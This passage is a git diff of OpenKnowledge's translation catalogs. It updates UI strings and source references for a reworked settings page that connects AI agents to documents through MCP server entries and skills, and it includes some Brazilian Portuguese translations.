src/components/settings/NetworkAccessSection.tsx@@ -2655,6 +2715,15 @@ msgstr ""msgid "Choose what a new tab starts"msgstr ""+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr ""+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr ""@@ -2667,8 +2736,8 @@ msgstr ""msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."msgstr ""#. Section label above the light/dark/system cards in the first-launch dialog@@ -3143,7 +3212,6 @@ msgstr ""#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3208,10 +3276,6 @@ msgstr ""msgid "Connect OpenKnowledge to other tools you use."msgstr ""-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr ""-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3240,6 +3304,10 @@ msgstr ""msgid "Connect your AI tools to this project"msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr ""+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3288,9 +3356,17 @@ msgstr ""msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr ""-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."msgstr ""#: src/components/acp/working-status.ts@@ -3659,9 +3735,8 @@ msgid "Couldn't add that comment."msgstr ""#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr ""@@ -3669,6 +3744,10 @@ msgstr ""msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr ""+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr ""@@ -3944,7 +4023,7 @@ msgstr ""msgid "Couldn't reach GitHub. Try again?"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr ""@@ -4397,11 +4476,6 @@ msgstr ""msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr ""-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr ""-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr ""@@ -4772,6 +4846,10 @@ msgstr ""msgid "Disconnecting"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr ""+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5256,17 +5334,17 @@ msgstr ""#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr ""@@ -5412,11 +5490,6 @@ msgstr ""msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr ""-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr ""-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr ""@@ -5559,7 +5632,7 @@ msgstr ""#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr ""@@ -5943,8 +6016,6 @@ msgstr ""#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6352,8 +6423,8 @@ msgstr ""msgid "Give it a name before editing its colors."msgstr ""-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."msgstr ""#: src/components/settings/LintingSection.tsx@@ -6366,6 +6437,10 @@ msgstr ""msgid "Global"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr ""+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr ""@@ -6505,6 +6580,7 @@ msgstr ""#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr ""@@ -6714,14 +6790,12 @@ msgstr ""msgid "How to push manually"msgstr ""-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr ""-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"msgstr ""#: src/components/settings/builtin-skill-copy.ts@@ -6781,6 +6855,21 @@ msgstr ""msgid "Identical in both — {pick} still reads them."msgstr ""+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr ""+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr ""@@ -6884,7 +6973,7 @@ msgstr ""#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr ""@@ -7071,6 +7160,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr ""#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7092,6 +7182,10 @@ msgstr ""msgid "Install {brand} →"msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr ""+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr ""@@ -7168,22 +7262,12 @@ msgstr ""msgid "Install this skill"msgstr ""-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr ""-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr ""--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr ""-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7241,6 +7325,14 @@ msgstr ""msgid "Installs into this project"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr ""+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr ""@@ -7639,7 +7731,7 @@ msgstr ""msgid "Loading agent activity"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr ""@@ -7862,11 +7954,16 @@ msgstr ""msgid "Malformed plan response"msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr ""+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7880,12 +7977,9 @@ msgstr ""msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr ""-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr ""--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."msgstr ""#: src/components/settings/SyncSection.tsx@@ -7942,11 +8036,8 @@ msgstr ""msgid "MCP auto-repair failed"msgstr ""-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"msgstr ""#: src/components/SkillPluginBundleBanner.tsx@@ -8064,6 +8155,10 @@ msgstr ""msgid "More"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr ""+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr ""@@ -8533,7 +8628,7 @@ msgstr ""msgid "no agents — saved, not installed anywhere"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr ""@@ -8542,7 +8637,7 @@ msgstr ""msgid "No agents enabled"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr ""@@ -8906,11 +9001,12 @@ msgstr ""msgid "Not attached to desktop bridge"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr ""#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr ""@@ -8918,6 +9014,10 @@ msgstr ""msgid "Not connected to GitHub."msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr ""+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr ""@@ -8928,7 +9028,7 @@ msgstr ""#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr ""@@ -9061,14 +9161,14 @@ msgstr ""msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr ""-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"msgstr ""-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"msgstr ""#: src/components/ConsentDialogBody.tsx@@ -9160,10 +9260,6 @@ msgstr ""msgid "Open a project to edit."msgstr ""-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr ""-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr ""@@ -9502,6 +9598,10 @@ msgstr ""msgid "OpenKnowledge checked the project"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr ""+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr ""@@ -9530,6 +9630,18 @@ msgstr ""msgid "OpenKnowledge deleted a document"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr ""+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr ""@@ -9574,6 +9686,10 @@ msgstr ""msgid "OpenKnowledge is using this GitHub account."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr ""+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr ""@@ -10285,10 +10401,6 @@ msgstr ""msgid "Project"msgstr ""-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr ""-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr ""@@ -10297,6 +10409,10 @@ msgstr ""msgid "Project folder created, but git init failed. Try again."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr ""+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr ""@@ -10310,6 +10426,10 @@ msgstr ""msgid "Project root"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr ""+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr ""@@ -10464,6 +10584,21 @@ msgstr ""msgid "Pushing"msgstr ""+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr ""+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr ""@@ -10582,6 +10717,10 @@ msgstr ""msgid "Recently opened"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr ""+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr ""@@ -10717,6 +10856,8 @@ msgstr ""msgid "Remote skill source"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10757,6 +10898,10 @@ msgstr ""msgid "Remove {projectName} from recent projects"msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr ""+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr ""@@ -10769,6 +10914,10 @@ msgstr ""msgid "Remove field {field}"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr ""+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10788,6 +10937,15 @@ msgstr ""msgid "Remove OpenKnowledge from {0}"msgstr ""+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr ""+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr ""@@ -10931,7 +11089,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr ""#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr ""#: src/editor/find-replace/FindReplaceBar.tsx@@ -10947,6 +11105,10 @@ msgstr ""msgid "Replace all matches"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr ""+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr ""@@ -10979,6 +11141,10 @@ msgstr ""msgid "Replace these symlinks with independent copies?"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr ""+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11235,7 +11401,7 @@ msgstr ""#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr ""@@ -11375,6 +11541,7 @@ msgstr ""msgid "Save"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr ""@@ -11425,6 +11592,7 @@ msgstr ""msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr ""@@ -11478,7 +11646,7 @@ msgstr ""msgid "Search ({searchShortcutLabel})"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr ""@@ -12062,8 +12230,7 @@ msgstr ""msgid "Show {hidden} more"msgstr ""-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr ""@@ -12129,8 +12296,7 @@ msgid "Show in Explorer"msgstr ""#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr ""@@ -12337,11 +12503,6 @@ msgstr ""msgid "Skills from OpenKnowledge"msgstr ""-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr ""-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr ""@@ -12497,6 +12658,7 @@ msgstr ""msgid "Something went wrong starting the terminal."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr ""@@ -13070,7 +13232,6 @@ msgstr ""msgid "Templates available"msgstr ""-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13079,8 +13240,7 @@ msgstr ""#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13208,6 +13368,11 @@ msgstr ""msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr ""+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr ""+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr ""@@ -13448,6 +13613,14 @@ msgstr ""msgid "The template's filename (without `.md`)."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr ""+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr ""@@ -13604,6 +13777,14 @@ msgstr ""msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr ""+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr ""@@ -13647,6 +13828,14 @@ msgstr ""msgid "This conflict is resolved."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr ""+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr ""@@ -13679,6 +13868,10 @@ msgstr ""msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr ""+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr ""@@ -13731,6 +13924,10 @@ msgstr ""msgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr ""+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr ""@@ -13789,6 +13986,7 @@ msgstr ""msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13814,6 +14012,10 @@ msgstr ""msgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr ""+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr ""@@ -13869,6 +14071,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr ""#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13917,11 +14120,6 @@ msgstr ""msgid "This project's server (v{0}) is newer than this app (v{1})."msgstr ""-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr ""-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr ""@@ -13959,6 +14157,18 @@ msgstr ""msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr ""+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr ""@@ -14279,7 +14489,6 @@ msgid "Type to find a doc"msgstr ""#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr ""@@ -14913,8 +15122,7 @@ msgstr ""msgid "What the agent may read, write, and surface."msgstr ""-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr ""@@ -14990,6 +15198,10 @@ msgstr ""msgid "Whole word"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr ""+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr ""@@ -15027,6 +15239,10 @@ msgstr ""msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr ""+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr ""@@ -15074,6 +15290,11 @@ msgstr ""msgid "Wrap long lines in the markdown source editor."msgstr ""+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr ""+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr ""@@ -15082,6 +15303,10 @@ msgstr ""msgid "writing"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr ""+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr ""@@ -15229,6 +15454,10 @@ msgstr ""msgid "Your current version is saved first, so this is reversible."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr ""+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/pt-BR/messages.json b/packages/app/src/locales/pt-BR/messages.jsonindex d2a31889b..702a4c341 100644--- a/packages/app/src/locales/pt-BR/messages.json+++ b/packages/app/src/locales/pt-BR/messages.json@@ -73,7 +73,6 @@"03wKPg": ["Um relatório nos ajuda a achar a causa. Nada é enviado até você revisar."],"04JR6L": ["Conecte suas ferramentas de IA"],"04RA0-": ["Falha ao ativar a sincronização — ", ["detail"]],- "04XyCH": ["Adiciona um bloco gerenciado a ", ["0"]],"05F1GY": ["O texto original foi excluído. Você pode reposicionar este comentário no texto selecionado."],@@ -174,6 +173,9 @@"1DahsC": ["Buscar nas configurações"],"1EcCom": ["Valor de ", ["keyName"]],"1FLarN": ["Descreva o que quer criar para continuar"],+ "1FXL-O": [+ "Não foi possível configurar porque a entrada do servidor MCP necessária não foi gravada."+ ],"1GhYxC": ["de ", ["totalPages"]],"1HBhDS": ["Extraindo arquivos"],"1J0c0X": ["Ainda não foi possível acessar ", ["displayName"], ". Tentar mais uma vez?"],@@ -255,11 +257,17 @@"2YOwme": ["Reiniciado — agora rodando a v", ["appRuntime"], "."],"2YZwPB": ["A resposta de links de saída não tinha o formato esperado."],"2Yt22K": ["Ocultar 